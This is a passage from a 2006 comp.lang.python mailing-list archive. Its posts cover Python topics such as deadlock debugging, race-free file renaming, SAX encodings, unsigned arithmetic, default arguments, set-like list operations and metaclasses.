        largeset.add(str(i))

    st = time.time()
    newset = largeset.intersection(littleset)
    newsetlist = []
    while newset:
        newsetlist.append(newset.pop())
    et = time.time()
    print "Size", len(newsetlist)
    newsetlist.sort()
    print "Hash", hash(str(newsetlist))
    print "Time", "%04f"%(et-st)

DBHash()
Set()





From fumanchu at amor.org  Sat Oct  7 13:48:17 2006
From: fumanchu at amor.org (fumanchu)
Date: 7 Oct 2006 10:48:17 -0700
Subject: Dumping the state of a deadlocked process
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
	<IlGVg.8251$o71.6307@newsread3.news.pas.earthlink.net>
Message-ID: <1160243297.032316.104340@c28g2000cwb.googlegroups.com>

Dennis Lee Bieber wrote:
> On 6 Oct 2006 12:59:31 -0700, andre.naess at gmail.com declaimed the
> following in comp.lang.python:
>
> > I'm currently having some issues with a process getting deadlocked. The
> > problem is that the only way I can seem to find information about where
> > it deadlocks is by making a wild guess, insert a pdb.set_trace() before
> > this point, and then step until it locks up, hoping that I've guessed
> > right.
> >
> 	I presume the process is using threads? If it is truly deadlocked,
> then you must have some mutual calls to lock objects somewhere... It
> would seem that rather than just randomly inserting debug statements you
> should surround each call to a lock with statements.
>
> 	print "Locking xyz"
> 	xyz.acquire()	#or whatever the syntax is
> 	print "Locked xyz"
>
>
>
> 	print "Releasing xyz"
> 	xyz.release()
> 	print "Released xyz"
>
>
> 	You'd need something like that around any potentially blocking
> operation -- queue operations, subprocess operations, socket
> operations... Rather than print statements you may wish to implement it
> via the logging module.

If you don't mind a potentially large log file, use the pyconquer
module I maintain here: http://projects.amor.org/misc/wiki/PyConquer
which uses settrace to do the logging in a much more readable and
manageable way than printlining. Try an initial run using the default
settings to narrow down the culprit, and then a run with C events
turned on if the first run wasn't enough. It should help out even if
your program is not multi-threaded, but it realy shines with threads.
:)


Robert Brewer
System Architect
Amor Ministries
fumanchu at amor.org

P.S. Oh, and ignore the times in the output for now; that's still work
in progress.



From Jeff.Demel at JavelinDirect.com  Fri Oct 20 11:49:30 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Fri, 20 Oct 2006 10:49:30 -0500
Subject: invert or reverse a string... warning this is a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEFF@DMSP-MSG-EVS01.mail.pvt>

 >Demel, Jeff wrote:
>> I've been programming professionally for over 10 years, and have
never 
>> once needed to reverse a string.  Maybe it's a lack of imagination on

>> my part, but I can't think of a single instance this might be
necessary.

Carl wrote:
>Say you're using a function from a third-party library that finds 
>the first character in a string that meets some requirement.  You 
>need to find the last such character.

It appears your imagination is better than mine.

-Jeff
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From wdraxinger at darkstargames.de  Sat Oct 28 07:38:14 2006
From: wdraxinger at darkstargames.de (Wolfgang Draxinger)
Date: Sat, 28 Oct 2006 13:38:14 +0200
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
Message-ID: <72sb14-08j.ln1@darkstargames.dnsalias.net>

Steven D'Aprano wrote:

> I want to rename a file, but only if the destination file name
> doesn't already exist.
> 
> I can do this:
> 
> if os.path.exists(dest):
>     # skip file, raise an exception, make a backup...
>     do_something_else()
> else:
>     os.rename(src, dest)
> 
> 
> But on a multi-user system, it is possible that dest is created
> in the time period between checking if it exists and attempting
> the rename.
> 
> Is there any way to prevent this? Or do I just try to keep the
> check and the rename as close together as possible, minimizing
> the chances and hoping for the best?

1: Open the file with os.open

2: Lock the file exclusively -> no other process can now access
it.

3: Use rename to rename the file; this causes a file system level
implicit unlink of the old file (it dissappears from the file
system) but the opening process can still access it.

4: close the file -> the lock is removed and the rename
finalized.

Wolfgang Draxinger
-- 
E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867
GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E


From MonkeeSage at gmail.com  Sun Oct  8 14:32:10 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 8 Oct 2006 11:32:10 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>
	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
Message-ID: <1160332330.684420.276560@e3g2000cwe.googlegroups.com>


On Oct 8, 5:57 am, Steven D'Aprano
<s... at REMOVE.THIS.cybersource.com.au> wrote:
> No, *less* often. That's the point -- it is fairly common for people to
> want dictionary lookup to return a default value, but quite rare for them
> to want sequence lookup to return a default value. A sequence with a
> default value would be, in some sense, equivalent to an infinite list:

Ah, yes. Infinite dictionaries are much better! I guess you could think
of it like providing a infinitely indexed list (or infinitely keyed
dict), but a better way to think of it is as providing a
non-terminating exception where the default value is the exceptional
case. And I don't see why it would be so rare to do something like:

if sys.argv.get(1): ...

With list.has_index() / get(), the following (pretty common I think)
idiom:

try:
  data = some_unknown_seq[2]
except IndexError:
  data = None
if data: ...

Can become:

data = some_unknown_seq.get(2)
if data: ...

Perhaps list.get() wouldn't be used as often as dict.get(), but it
would be used a fair amount I think. Looking at the standard library
(2.5 source), I find 30 places where "except IndexError" appears, and
two places where a comment says that some method "raises IndexError" on
some condition. I haven't looked at the context of them, but I'd wager
that many of them would benefit from list.has_index() and / or get().
Here is my script to search the libs:

import os, re
found = {}
for path, dirs, files in os.walk('./Lib'):
  for afile in files:
    afile = open(os.path.join(path, afile))
    lines = afile.readlines()
    afile.close()
    for line in lines:
      match = re.search(r'((except|raises) IndexError)', line)
      if match:
        found[afile.name] = match.group(1)
for item in found.items():
  print '%s (%s)' % item
print 'Found %d matches' % len(found)

> dict.get() doesn't raise KeyError. That's the whole point of get(), it
> returns a default value instead of raising KeyError.

Right. Exactly. Accessing a non-existent key raises a KeyError, but
dict.get() short-curcuits the exception and gives you a default value
(which is None unless explicitly changed). So instead of trying the key
and catching a KeyError, you can use a simple conditional and ask if
d.has_key(key), or assign d.get(key) and test the assignee. So, why
isn't there a list.has_index() / get()?

> If you don't care enough to even make a formal feature
> request, let alone a PEP, then why should people who care even less
> actually write the code?

I'm thinking about it. I just wanted to see if anyone knew of, or could
come up with, a good reason why it isn't / shouldn't be there.
Apparently not (at least not one that doesn't also bite the dict
convenience methods), so I'll probably go ahead and make a feature
request in the next few days.

Regards,
Jordan



From pyscripter at gmail.com  Sun Oct  1 22:11:41 2006
From: pyscripter at gmail.com (pyscripter at gmail.com)
Date: 1 Oct 2006 19:11:41 -0700
Subject: XSLT speed comparisons
In-Reply-To: <1159556742.389089.93370@i3g2000cwc.googlegroups.com>
References: <1159392275.988709.72990@m7g2000cwm.googlegroups.com>
	<451BD332.1080505@websafe.com>
	<1159471108.337439.147440@m73g2000cwd.googlegroups.com>
	<1159556742.389089.93370@i3g2000cwc.googlegroups.com>
Message-ID: <1159755101.052236.45020@h48g2000cwc.googlegroups.com>


Jordan wrote:
> If your using python 2.4.3 or essentially any of the 2.3, 2.4 series,
> i'd test out PyScripter as an IDE, it's one of the best that I've used.
>  Unfortunately, they have yet to fully accomedate 2.5 code (you can
> still write 2.5 code with almost no problems, but you won't be able to
> use a 2.5 interactive interpeter).

An unofficial update supporting Python 2.5 is available at
pyscripter.googlepages.com and an offical release is coming real soon.



From deets at nospam.web.de  Wed Oct  4 10:57:39 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 04 Oct 2006 16:57:39 +0200
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga>
Message-ID: <4oi0f3FehgnuU1@uni-berlin.de>

Edward K. Ream wrote:

>>> Can anyone tell me how the content handler can determine the encoding of
>>> the file?  Can sax provide this info?
> 
>> there is no encoding on the "inside" of an XML document; it's all
>> Unicode.
> 
> True, but sax is reading the file, so sax is producing the unicode, so it
> should (must) be able to determine the encoding. 

It is, by reading the xml header.

> Furthermore, xml files 
> start with lines like:
> 
> <?xml version="1.0" encoding="utf-8"?>
> 
> so it would seem reasonable for sax to be able to return 'utf-8' somehow.
> Am I missing something?

That sax outputs unicode, which has no encoding associated anymore. And thus
it is a pretty much irrelevant information. It _could_ be retained, but for
what purpose?

Diez


From mmn at news.bellatlantic.net  Thu Oct 26 23:48:25 2006
From: mmn at news.bellatlantic.net (Michael Naunton)
Date: Fri, 27 Oct 2006 03:48:25 GMT
Subject: Cards deck problem
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
Message-ID: <slrnek30pv.jcj.mmn@linux.site>

On 26 Oct 2006 02:27:16 -0700, Arun Nair <nairarunv at gmail.com> wrote:

It is clear your professor does not understand computer science.  Switch
to a new university now.  

As noted in the problem, a deck has 52 cards.  cardsLeft(self) therefore
always returns 52.  

This may seem pendantic, but CS is mostly about thinking about (and thus 
naming) things clearly.  Find someone who does.

-- Michael

> d> Create a new class deck that represents a pack of 52 cards.  Which
> supports the following methods:
>
> _ _init_ _ (self) - Creates a deck of cards in standard order.
> shuffle(self) - Randomizes the order of the cards
> dealCard(self) - Returns a single card from the top of the deck, and
> removes the card from the deck.
> cardsLeft(self) - Returns the number of cards left in the deck.
> Test your class by having it deal out a sequence of 'n' cards where 'n'
> is a number input by the user.  The program should either print out the
> cards, or display them in a window.
>


From torriem at chem.byu.edu  Tue Oct 31 13:02:17 2006
From: torriem at chem.byu.edu (Michael L Torrie)
Date: Tue, 31 Oct 2006 11:02:17 -0700
Subject: What is the cleanest way to for a module to access objects
	from the  script that imports it?
In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
Message-ID: <1162317737.19856.6.camel@isengard>

On Fri, 2006-10-27 at 14:53 -0700, noamsml at gmail.com wrote:
> Hi,
> 
> I am new to python and am currently writing my first application. One
> of the problems I quickly ran into, however, is that python's imports
> are very different from php/C++ includes in the sense that they
> completely wrap the imported script in a module object. One of the
> problems with this was that a plugin system that I am making requires
> use of objects, classes and the such from the original script. Thus, on
> one hand, I am hesitant to use execfile(), since I *do* want to wrap
> the plugin up, but on the other hand, I want the plugin to be able to
> use functions from the original script. Any ideas?

I have a system that uses modules as plugins also.  These are loaded
dynamically when the user specifies them from a gui.  I put all these
modules in an array using the __import__ function.  I found, though,
that I needed to specify whether or not each module had actually loaded,
or if there had been an exception (module not found or whatever).  So I
wrote a wrapper object that would try to load the module and store it as
a local attribute.  I made my wrapper object implement functions like
__getattr__ and pass any unknown calls into the module object itself,
making the wrapper object act as if it was the module, but having extra
capabilities, such as being able to tell me if the module had actually
loaded or not.

Michael


> 
> Sincerely,
> Noam Samuel.
> 



From noway at sorry.com  Wed Oct  4 17:09:04 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 21:09:04 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
Message-ID: <QpVUg.135563$_J1.897353@twister2.libero.it>

Paul Rubin wrote:

>> You fail to recognize that Python is *already* using a non-free
>> software for bug tracking, as do thousands of other projects.
>
> I don't think that reflects an explicit decision.  SF started out as
> free software and the software became nonfree after people were
> already using it.

Moreover, this looked like a very good chance to have this nuisance sorted out.
Too bad some people don't value free software enough.
-- 
Giovanni Bajo




From martin at v.loewis.de  Wed Oct 25 13:20:51 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 19:20:51 +0200
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1174.1161777956.11739.python-list@python.org>
References: <mailman.1162.1161769345.11739.python-list@python.org>	<453F4A52.3050200@v.loewis.de>
	<mailman.1174.1161777956.11739.python-list@python.org>
Message-ID: <453F9CF3.2050908@v.loewis.de>

Robin Becker schrieb:
> Of course the actual semantics is dependent on what C unsigned
> arithmetic does so we're relying on that being the same everywhere.

Assuming that ULONG has the same width on all systems, the outcome
is actually mandated by the C standard: unsigned arithmetic is
defined to operate modulo (max_uint+1) (even if that is not a power
of two).

> This algorithm was pretty simple in Python until 2.3 when shifts over
> the end of ints started going wrong.

Actually, they start going *right* :-) Addition of two positive numbers
never gives a negative result, in mathematics.

> where while it might be reasonable to do testing it seems the tests
> aren't very sensible eg what is -6 doing in a u32 test? This stuff just
> about works on a 32 bit machine, but is failing miserably on a 64bit
> AMD. As far as I can see I just need to use masked longs throughout.

Exactly.

> In a C extension I can still do the computation exfficiently on a 32bit
> machine, but I need to do masking for a 64 bit machine.

Well, no. You just need to find a 32-bit unsigned integer type on the
64-bit machine. Typically, "unsigned int" should work fine (with
only the Cray being a notable exception, AFAIK). IOW, replace ULONG
with uint32_t wherever you really mean an unsigned 32-bit type,
then use stdint.h where available, else define it to unsigned int
(with a build-time or run-time test whether sizeof(unsigned int)==4).

Regards,
Martin


From stanley.graves at gmail.com  Tue Oct  3 17:15:12 2006
From: stanley.graves at gmail.com (Stan Graves)
Date: 3 Oct 2006 14:15:12 -0700
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <1159910112.284815.316570@i42g2000cwa.googlegroups.com>

LaundroMat wrote:
> Suppose I have this function:
>
> def f(var=1):
> return var*2
>
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..


What about this?

>>> def f(var=None):
...     if var == None:
...         var = 1
...     return 2*var
...
>>> f()
2
>>> f(3)
6
>>> a=4
>>> f(a)
8
>>> b=None
>>> f(b)
2
>>> 

--Stan Graves



From martin at v.loewis.de  Wed Oct  4 18:08:53 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Oct 2006 00:08:53 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1297.1159997035.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>	<eg09i9$eod$1@sea.gmane.org>	<eg0cu8$qtt$1@sea.gmane.org>
	<mailman.1297.1159997035.10491.python-list@python.org>
Message-ID: <452430F5.8010102@v.loewis.de>

Fredrik Lundh schrieb:
> what I was trying to say (between the lines) was that not only have
> the people on that list worked hard to do the evaluation (not to mention
> all the developers around the world that has worked even harder to set
> up test trackers)

That cannot be praised enough. Special thanks to Jonathan Nolen from
Atlassian to set up the Jira installation, Stefan Seefeld to set up
the Roundup installation, Alec Thomas for the Trac installation,
and James Henstridge for adding Python to the Launchpad.

To all those who complain that their favorite software XYZ wasn't
considered: apparently, nobody in the community bothered enough to
respond to the call for trackers. If nobody experienced with the
software thinks it is worthwhile to set up a demo it,
why should we review it?

Regards,
Martin


From mumebuhi at gmail.com  Tue Oct 24 19:09:34 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 24 Oct 2006 16:09:34 -0700
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>
Message-ID: <1161731374.373983.56110@m73g2000cwd.googlegroups.com>

Thank you very much for the reply.

Can pickle work directly with socket? The way I am doing right now is
to pickle the object to a file then send the file content through the
socket.



From Jeff.Demel at JavelinDirect.com  Thu Oct 19 13:54:14 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Thu, 19 Oct 2006 12:54:14 -0500
Subject: invert or reverse a string... warning this is a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>

wlfraed at ix.netcom.com wrote:
>ONE usage... The old intro-to-programming Palindrome detector 
>becomes a very simple assignment given an easy means of 
>reversing a string (vs the "expected" loop comparing from 
>the ends in to the center)

Ok, let me re-phrase:

...[snip]...
I've been programming professionally for over 10 years, and have never
once needed to reverse a string *or detect a palindrome*.  Maybe it's a
lack of imagination on my part, but I can't think of a single instance
this might be necessary.
...[snip]...

;)

Those damn "intro-to-programming" classes nail me again!  Is this why
the applicants I see that are fresh out of college with their shiny new
computer science degrees can't seem to code their way out of a wet paper
bag?

-Jeff
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From ptmcg at austin.rr._bogus_.com  Wed Oct 25 14:38:41 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 25 Oct 2006 18:38:41 GMT
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
Message-ID: <RaO%g.22608$ta3.9851@tornado.texas.rr.com>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote in message 
news:rkN%g.22603$ta3.2702 at tornado.texas.rr.com...
> "J. Clifford Dyer" <jcd at sdf.lonestar.org> wrote in message 
> news:eho2kq$lqc$1 at aioe.server.aioe.org...
>> ZeD wrote:
>>> Paul Rubin wrote:
>>>
>>>>> A = [0,1,2,3,4,5,6,7,8,9,10]
>>>>> B = [2,3,7,8]
>>>>>
>>>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>>>> How about:
>>>>
>>>>   desired_result = B + sorted(x for x in A if x not in B)
>>>
>>> this. is. cool.
>>>
>>
>> Cool, yes, but I'm not entirely sure it does what the OP wanted.  Partly 
>> because I'm not entirely sure what the OP wanted.  Counter example:
>>
>> Given these variables:
>>
>> A = [0,1,2,3,4,5,6,8,9,10]  # Note 7 is missing
>> B = [2,3,7,8]
>>
>> which of the following should the function yield?
>>
>
> From the original post:
>
> "I have two lists, A and B, such that B is a subset of A."
>
> So this is not a case that needs to be supported.
>
> I envisioned something like the OP had a sequence of items to start with, 
> did a random sampling from the list, and wanted to move the sampled items 
> to the front of the list.
>
> -- Paul
>

Here is a little subclass of list that has some set-ish operators added.

-- Paul

# ListWithMath does set-like operations on lists, keeping list order
# stable where applicable
class ListWithMath(list):
    def isSuperset(self,other):
        return len(self ^ other) == len(other)

    def __iadd__(self,other):
        self.extend(other)
        return self

    def __isub__(self,other):
        if self.isSuperset(other):
            for i in other:
                self.remove(i)
            return self
        else:
            raise ValueError

    def __ixor__(self,other):
        for a in self[::-1]:
            if not a in other:
                self.remove(a)
        return self

    def __add__(self,other):
        temp = ListWithMath(self)
        temp += other
        return temp

    def __sub__(self,other):
        temp = ListWithMath(self)
        temp -= other
        return temp

    def __xor__(self,other):
        temp = ListWithMath(self)
        temp ^= other
        return temp

    def __radd__(self,other):
        return ListWithMath(other) + self
    def __rsub__(self,other):
        return ListWithMath(other) - self
    def __rxor__(self,other):
        return ListWithMath(other) ^ self

A = ListWithMath( [0,1,2,3,4,5,6,7,8,9,10] )
B = ListWithMath( [2,3,7,10,8] )

print "%s+(%s-%s)" % (B,A,B)
C = B+(A-B) # union and exclusion
print C

D = ListWithMath( [1,2,3,6,8,11] )
print "%s ^ %s" % (B,D)
print B^D # intersection

print "%s ^= %s" % (B,D)
B ^= D # in-place intersection
print B

print C
C += []
print C
C -= []
print C
C ^= []
print C

Prints:
[2, 3, 7, 10, 8]+([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]-[2, 3, 7, 10, 8])
[2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9]
[2, 3, 7, 10, 8] ^ [1, 2, 3, 6, 8, 11]
[2, 3, 8]
[2, 3, 7, 10, 8] ^= [1, 2, 3, 6, 8, 11]
[2, 3, 8]
[2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9]
[2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9]
[2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9]
[]




From umut.tabak at student.kuleuven.be  Mon Oct 23 09:26:02 2006
From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be)
Date: 23 Oct 2006 06:26:02 -0700
Subject: Script to count files in a folder
In-Reply-To: <mailman.974.1161609148.11739.python-list@python.org>
References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com>
	<mailman.974.1161609148.11739.python-list@python.org>
Message-ID: <1161609961.966357.281860@m7g2000cwm.googlegroups.com>



On Oct 23, 3:11 pm, "Fredrik Lundh" <fred... at pythonware.com> wrote:
> umut.ta... at student.kuleuven.be wrote:
> > A batch file creates this file and deletes that file in the same loop.
> > This file is intended to start the reading of an input file. After it
> > is read batch file deletes this file automatically and on the next loop
> > it  will be written and deleted again. With this script I have to count
> > the occurences of the file on this specific folder.what does "count" mean here?
>
> do you want to check if the file is there, or how many times a file with
> that name has been created ?

Yes I would like to check how many times that specific file is created.
so count is the number of times of creation.

>
> the former is easy (just use the os.path.isfile() function), the latter is not
> really possible.
> 
> </F>



From rrr at ronadam.com  Sat Oct 21 03:21:01 2006
From: rrr at ronadam.com (Ron Adam)
Date: Sat, 21 Oct 2006 02:21:01 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <pan.2006.10.21.07.13.04.154150@REMOVE.THIS.cybersource.com.au>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
	<pan.2006.10.21.05.28.17.991220@REMOVE.THIS.cybersource.com.au>
	<WBj_g.6839$fl.2258@dukeread08>
	<pan.2006.10.21.07.13.04.154150@REMOVE.THIS.cybersource.com.au>
Message-ID: <ZWj_g.6840$fl.5694@dukeread08>

Steven D'Aprano wrote:
> On Sat, 21 Oct 2006 01:58:33 -0500, Ron Adam wrote:
> 
>> [You said from an earlier post...]
>>
>>> (That's a complaint I have about the dis module -- it prints its results,
>>> instead of returning them as a string. That makes it hard to capture the
>>> output for further analysis.)
>> I have a rewritten version of dis just sitting on my hard disk that fixes 
>> exactly that issue.  It needs to be updated to take into account some newer 2.5 
>> features and the tests will need to be updated so they retrieve dis's output 
>> instead of redirecting stdout.  If you'd like to finish it up and submit it as a 
>> patch, I can forward it to you.  It would be good to have a second set of eyes 
>> look at it also.
> 
> I'm certainly willing to look at it; as far as submitting it as a patch, I
> have no idea what the procedure is. Maybe we can find out together heh? :-)


Sounds good to me.  I email an attachment to you. :)


From Eric_Dexter at msn.com  Fri Oct 27 18:16:03 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 27 Oct 2006 15:16:03 -0700
Subject: "Music Theory Programming" Google Group
In-Reply-To: <1161976872.726877.200380@i3g2000cwc.googlegroups.com>
References: <1161976872.726877.200380@i3g2000cwc.googlegroups.com>
Message-ID: <1161987363.432687.40240@e3g2000cwe.googlegroups.com>

That sounds cool to me..  I am looking for a way to save(self)  (csound
routines)..  and I saw your background in religion :) so I will head on
over there

https://sourceforge.net/project/showfiles.php?group_id=156455

Omar wrote:
> I've been learning some programming during my little sabbatical (mostly
> python), and I thought it'd be cool to see if other people are
> interested in programming for music theory.  So I started a Music
> Theory Programming google group.  Consider yourselves invited!  It'll
> be a place for people with different ideas to make music easier to
> understand using computer applications to share and collab.
>
> The address is:
>
> http://groups.google.com/group/music-theory-programming
>
> If you know how to do any language (HTML, Perl, Java, C++) etc or just
> interested...see ya there!



From exogen at gmail.com  Thu Oct 26 04:51:05 2006
From: exogen at gmail.com (Brian Beck)
Date: 26 Oct 2006 01:51:05 -0700
Subject: chained attrgetter
In-Reply-To: <1161810201.975665.269470@h48g2000cwc.googlegroups.com>
References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
	<1161810201.975665.269470@h48g2000cwc.googlegroups.com>
Message-ID: <1161852665.771599.90710@b28g2000cwb.googlegroups.com>

Alexey Borzenkov wrote:
> Do you mean something like
>
> class cattrgetter:
>     def __init__(self, name):
>         self.names = name.split('.')
>     def __call__(self, obj):
>         for name in self.names:
>             obj = getattr(obj, name)
>         return obj

I'll raise you one:

def cattrgetter(attr):
   return lambda obj: reduce(getattr, attr.split('.'), obj)

py> class A: pass
py> a = A
py> a.b = A
py> a.b.c = "Hey!"
py> cattrgetter('b.c')(a)
'Hey!'

--
Brian Beck
Adventurer of the First Order



From __peter__ at web.de  Sun Oct 29 02:22:45 2006
From: __peter__ at web.de (Peter Otten)
Date: Sun, 29 Oct 2006 08:22:45 +0100
Subject: Metaclasses are not called in subclasses. What did I wrong?
References: <mailman.1417.1162081654.11739.python-list@python.org>
Message-ID: <ei1kng$7mp$01$1@news.t-online.com>

L?tez? wrote:

> I use Python 2.4.4. Please read the code below:
> 
> -----------------------------------------------------------
> from new import classobj
> 
> def mymeta(name,bases,clsdict):
>     print 'meta: %s'%name
>     return classobj(name,bases,clsdict)

mymeta is not a class.
 
> class A(object):
>     __metaclass__=mymeta

Throw in

print "A.__class__", A.__class__

here and read the sentence from the manual again: The __class__ is 'type',
so no print... side effects are to be expected below.
 
> class B(A):
>     pass
> 
> -----------------------------------------------------------
> 
> This should print
> 
> meta: A
> meta: B
> 
> when classes A and B are created. But only meta: B is missing,
> since mymeta() is not called when class B is created.
> 
> Related python documentation states that mymeta() must be called when B is
> created, since metaclasses are looked up in bases classes if not found in
> the dictionary of the class itself.
> 
>>From Python 2.4.4's manual: "Otherwise, if there is at least one base
>>class,
> its metaclass is used (this looks for a __class__ attribute first and if
> not found, uses its type)."

One way to get the output you expect:

>>> class AType(type):
...     def __init__(cls, name, bases, clsdict):
...             print "meta:", name
...
>>> class A:
...     __metaclass__ = AType
...
meta: A
>>> class B(A): pass
...
meta: B

I tried with classobj first, but that didn't work:

>>> from new import classobj
>>> class AType(classobj): pass
...
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: Error when calling the metaclass bases
    type 'classobj' is not an acceptable base type

Peter


From Hakusa at gmail.com  Wed Oct 25 19:56:38 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 16:56:38 -0700
Subject: What's the best IDE?
In-Reply-To: <1161820204.148531.135050@e3g2000cwe.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<z5udnQdQiOwsbKLYnZ2dnUVZ_tGdnZ2d@comcast.com>
	<1161820204.148531.135050@e3g2000cwe.googlegroups.com>
Message-ID: <1161820598.265369.153130@m7g2000cwm.googlegroups.com>

PS: Search engine . . . I knew this had probably come up very often,
but I get it's pretty silly of me that I didn't utilize this.

And while I was posting another mark for Komodo came. Nice, is it.



From webmaster at cacradicalgrace.org  Sat Oct 28 17:32:38 2006
From: webmaster at cacradicalgrace.org (J. Clifford Dyer)
Date: Sat, 28 Oct 2006 15:32:38 -0600
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
